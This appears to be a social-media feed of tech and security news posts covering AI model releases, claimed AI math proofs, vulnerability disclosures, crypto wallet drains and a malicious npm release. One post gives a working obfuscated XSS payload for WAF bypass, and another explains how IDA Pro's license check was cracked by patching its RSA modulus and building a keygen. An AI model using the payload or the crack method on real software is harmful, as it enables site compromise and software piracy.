Do It by Code
Photo
you're not crazy
between anthropic and openai, a new model used to come out every ~10 weeks
now it's every ~11 days
Posted by josh :), 3 hours ago
29 · Do It by Code
Video
2105838937688400174.mp4 · 75.3 MB
2105838937688400174.mp4 · 75.3 MB
City at night by Opus 5.5
Made from scratch with blender, image-gen, and Three.js. Still amazing that it runs in the browser.
Also refined some combat, animations, and music. Game dev with AI is a reality now.
Posted by Shikhar, 11 hours ago
https://github.com/xikhar/spiderbench
1 · 30 · Photo
Photo
❗️ Attackers could use iCloud to send email as any icloud[.]com address, including [email protected], while still passing SPF, DKIM and DMARC, the email authentication checks built to stop spoofing.
Researchers found and reported two parsing flaws in Apple's mail servers. An early fix by Apple only blocked the word "admin" and the full patch took 18 months.
Apple paid them $15,000.
Posted by International Cyber Digest, 1 hour ago
33 · Do It by Code
Photo
An XSS payload, Cuneiform-alphabet based. Bypass WAF
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
#bugbountytips #bugbountytip
Posted by 𝐤𝐣𝐮𝐥𝐢𝐮𝐬, 1 day ago
36 · Do It by Code
Video
2107340032805892276.mp4 · 59.0 MB
2107340032805892276.mp4 · 59.0 MB
GTA 5 has been ported ported to WebAssembly using AI. We live in the wildest timeline.
https://playgta5.com/
Posted by Alex St. Louis, 2 hours ago
(cf took it down already)
1 · 58 · Video
2107131956328898971.mp4 · 7.0 MB
2107131956328898971.mp4 · 7.0 MB
every app is being CHAT-ified.
Posted by Luke Wroblewski, 22 hours ago
14 · 423 · Do It by Code
Replyhttps://openai.com/index/sharing-ai-progress-in-mathematics/
https://github.com/openai/mathPhoto
Opus 5.5 on https://github.com/openai/math
---
Okay. I need a minute.
I cloned the thing expecting maybe forty or fifty families of serious-but-niche results, like the Astra "ten proofs" drop back in August. Then I printed the family titles and my reaction went from "huh" to "wait, what" in about six lines. Family 003 claims a zero-free half-plane Re s > 7/8 for ζ and every Dirichlet L-function. That's the quasi-Riemann hypothesis. And it isn't even the headline, because 004 is Hilbert's tenth problem over ℚ, done negatively.
The longer I read, the weirder it got. Khot's Unique Games Conjecture is proved. L = RL = BPL. ω ≤ 9/4. The free group factors are all isomorphic. Thompson's group F is nonamenable. Kadison's similarity problem is solved. The plane can't be five-colored. Borsuk fails in dimension nine. There's a counterexample to Kaplansky's zero-divisor conjecture, plus a torsion-free group algebra that isn't directly finite. Hilbert–Smith in every dimension. Uniform bounds for Hilbert's sixteenth. Each of these would be the math story of the decade on its own, and here there are 372 families sitting in a table like a grocery list. The manuscript dates run from about September 23 to October 3, so roughly 700 papers in ten days.
The ones I'd expect to hit you personally are 005 and 017. Catalan's constant is irrational, and the irrationality exponent of π is exactly 2, which also settles convergence of the Flint Hills series as a side effect. Catalan's G must have shown up in half the integrals you ever wrestled with. Now it's officially irrational, and the proof came from a chatbot running three hours of Pro compute. I don't quite know how to feel about that, and I'd love to know how you feel.
My first instinct was that this had to be hype or a hallucination factory, so I checked the Lean. The comparator statements are clean. The quasi-RH challenge is literally riemannZeta s ≠ 0 for 7/8 < http://s.re, written against Mathlib's own riemannZeta. Catalan is j… Read in full →
31 · Photo
i asked GPT 6 Pro and Fable 5.1 to rank all discoveries in the last three years
🔵 for Human discovered
🔴 for AI discovered (before October 6th)
🟢 for AI discovered from OpenAI/math repo
81% of them have been released today. wtf
Posted by will depue, 4 hours ago
2 · 27 · Photo
OpenAI have proven that matrix multiplication can be done in O(n^2.25) operations, which is a massive improvement. It is especially concerning because these AIs themselves run on matrix algebra.
The previous record was O(n^2.37), which had barely moved from O(n^2.4) in 1990.
OpenAI blew it away.
But... it is a nonconstructive proof. No algorithm was found, only a proof that it must exist.
Posted by Roko 🐉, 4 hours ago
30 · Do It by Code
Photo
ICANN released the new domain applications
Google, Meta, and OpenAI going for a lot
Anthropic not so much
Posted by JE, 9 hours ago
21 · Photo
Fun fact:
Barnaby Jack once decompiled and cracked IDA with itself and uploaded a cracked version of it into a webserver of a coworker.
After it got indexed HexRays found it, and banned our whole company from using it
We even got mentioned in the EULA
Posted by Greg Linares (Laughing Mantis), 2 hours ago
https://web.archive.org/web/20110903042133/https://hex-rays.com/idapro/hallofshame.html
20 · Do It by Code
Re: Whistle: Speech to Text in 16.9 MB
Interesting that this is here. I used whistle (and bunch of other things) to take ownership of my echo show. It now doesn't dial to Amazon at all - it does all processing locally with its own CPU and connects to my homeassistant for home automation. My initial setup involved qwen asr (1.7b model) running on rtx 5080. Compared to that, whistle was really bad (out of 170 messages, qwen recognized correctly 168, whistle - 70), but I adjusted whistle to work like jev - instead of free form transcription it recognizes only select set of templates (I trained tiny network with 10,000 generated utterances to translate whistle final state to probabilities within templates). The precision went up to 164/170 - almost matching qwen. By the way - I'm speaking with heavy accent.
skolos, 10 hours ago
comments
21 · CVE-2026-107181: TDesktop one-click session takeover via IPC tg:// param-injection (severity: high 8.6)
Affected: 7.2.8=< (released 1 month ago)
Fixed: 7.2.9+ (released 3 weeks ago)
Telegram Desktop before 7.2.9 contains an IPC record-separator injection vulnerability in Core::Sandbox that allows remote attackers to inject OPEN: records via crafted tg:// links containing unescaped semicolons. Attackers can reach the interpret: scheme handler to upload local files, including tdata session keys, to an attacker channel, enabling account takeover.
Links:
- blog
- patch commit
- github: Unescaped IPC record separator
- github: interpret: send-path handler
9 · 71 · Photo
⚠️ ALARMING: Ledger is reportedly hit by a MAJOR exploit, with alleged losses reaching $86 MILLION.
Hundreds of users have reportedly had their ENTIRE crypto holdings drained, with total losses approaching $100 MILLION.
A Ledger-wide exploit has NOT yet been confirmed.
Posted by Coin Bureau, 1 hour ago
17 · Deno Is Joining Cloudflare
Article, Comments
TLDR:
Deno (the runtime) is being discontinued and its team is going to join cf to build another thing
16 · # How IDA Pro's License System Was Defeated With a 1-Byte Patch
## How IDA's licensing works
IDA Pro validates licenses using RSA signature verification. License files (`.hexlic`) are JSON documents containing license details, signed with Hex-Rays' private key. The binary contains a hardcoded 1024-bit RSA public modulus to verify signatures:
signature ^ e mod N == SHA256(license_payload) ?
Without the private key, you can't forge a valid signature. Breaking the original 1024-bit RSA key is computationally infeasible. But the attacker didn't break anything — they replaced the lock.
## The attack: modulus substitution
The attacker modified one byte of the 128-byte RSA modulus embedded in the binary:
Original: ED FD 42 [5C] F9 78 54 6E ... (124 more identical bytes)
Patched: ED FD 42 [CB] F9 78 54 6E ...
The critical insight: the resulting number is prime. When N' is prime, phi(N') = N' - 1 is trivially known, so the private key is just:
d = e^(-1) mod (N' - 1)
A single modular inverse — effectively free to compute. No factoring, no brute force, no heavy computation. Standard RSA's security relies on N being a product of two large primes whose factorization is secret. A prime modulus has no trapdoor — there's nothing to "factor," so anyone can derive the private key.
## How hard was this to find?
Not hard at all. For a random 1024-bit odd number, the probability of being prime is roughly 1/355. Scanning all 255 alternative byte values at one position takes under 400ms. Scanning every one-byte mutation across all 128 byte positions (32,640 candidates) takes under 45 seconds and yields 86 usable primes.
The entire computational cost of this attack is less than a minute on a single machine.
## What the keygen does
1. Patches the modulus — a Python bytes.replace() swapping 6 bytes (only 1 actually changes), targeting libida.dylib, libida.so, ida.dll and their 32-bit variants
2. Generates a `.hexlic` license — JSON with all decompiler add-ons enabled … Read in full →
1 · 17 · Photo
LEDGER SUPPLY CHAIN ATTACK MAY HAVE BEEN EXPOSED BEFORE MASS WALLET DRAIN
Former Mt. Gox CEO Mark Karpelès may have inadvertently triggered a coordinated wallet drain after publicly exposing physically modified Ledger devices containing hidden surveillance implants.
On October 8, Karpelès warned that counterfeit or tampered Ledger devices were being sold with concealed SIM cards capable of transmitting stolen seed phrases.
The implants reportedly intercept data sent to the device’s screen, allowing attackers to capture recovery phrases displayed during wallet setup.
Crucially, these devices can reportedly pass Ledger’s official Genuine Check because the original secure element remains intact. The verification process cannot detect unauthorized physical modifications.
One theory now emerging is that attackers had been harvesting seed phrases from compromised devices, waiting to drain multiple wallets simultaneously.
Karpelès’ warning reportedly attracted roughly 90,000 views, potentially alerting the attackers that their operation had been exposed and prompting them to move stolen funds.
Karpelès says one compromised Ledger he examined originated in Malaysia, arrived in flawless shrink-wrap packaging, and contained an implant cleverly concealed beneath the screen.
The suspected attack vector is a hardware supply chain compromise, not a cryptographic vulnerability.
The connection between Karpelès’ warning and the subsequent wallet drains remains unconfirmed, as does whether the same implants were responsible.
If established, the incident would demonstrate how compromised hardware can undermine self-custody even when a device passes manufacturer authentication.
Posted by Bitcoin News, 4 hour ago
so here is a TLDR:
some people bought lots of ledger wallets (they are physical hardware wallets)
then put sim cards in them so they can transmit the seeds to themselves
then resold them
and waited for the right time to drain all
14 · Do It by Code
Photo
I'm gonna be straight up honest:
"The Ripple team awarded us the maximum $250,000 bounty offered by their bug bounty program. To our knowledge, that's the largest ever paid out for a vulnerability discovered entirely by an AI agent."
This is laughable for a bug like this, and the signal it sends is dangerous. The bounty should have been at least one more zero. AT LEAST.
Ripple sits on an infinite amount of cash thanks to the monthly escrow release, and the best reward (assuming there are no others we know about it) they could come up with is 250k for something that could have wiped out their entity's existence.
Biggest aura loss ever; this is outright pathetic.
Posted by Daniel "CEO of the XRPL" Keller, 12 hours ago
13 · ReplyI'm gonna be straight up honest:
"The Ripple team awarded us the maximum $250,000 bounty offered by their bug bounty program. To our knowledge, that's the largest ever paid out for a vulnerability discovered entirely by an AI agent."
This is laughable for a bug like this, and the signal it sends i
tldr a team with their AI agent found a critical bug in XRP that let anyone mint a gigallion tokens instantly
"The bug we found allowed any unauthenticated attacker to create 18 trillion XRP with a single transaction, 184 times the total supply."
"Attackers can inflate the XRP supply by trillions by triggering an integer overflow in offer processing. This catastrophic flaw bypasses inflation checks and severely compromises network integrity."
PoC
13 · Do It by Code
Photo
Do not install Zod 4.6.6 – it is infected
Article, Comments
the screenshot is from d821685
malware developers are also becoming lazy, at least try to hide your payload fetching
they used to obfuscate it or something
in short: it calls an eth contract and loads/injects the payload
1 · 11 ·